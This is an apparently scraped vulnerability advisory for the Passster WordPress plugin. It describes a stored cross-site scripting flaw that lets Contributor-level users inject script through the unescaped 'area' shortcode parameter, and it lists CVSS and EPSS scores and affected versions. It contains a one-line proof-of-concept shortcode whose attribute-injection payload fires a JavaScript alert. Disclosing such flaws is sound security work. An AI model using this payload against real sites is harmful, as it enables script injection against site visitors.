Apple502jWPVDB-ID:5FEA3AC3-D599-41F3-8F76-08F0D3552AF1Passster < 3.5.5.8 - Contributor+ Stored Cross-Site Scripting
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.0004 Low
EPSS
Percentile
11.9%
The plugin does not escape the area parameter of its shortcode, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.
PoC
[passster password=“1” area=‘" style=“animation-name:twentytwentyone-close-button-transition” onanimationend="alert(/XSS/)//’]
| CPE | Name | Operator | Version |
|---|---|---|---|
| content-protector | lt | 3.5.5.9 |
Related
5.4 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
0.0004 Low
EPSS
Percentile
11.9%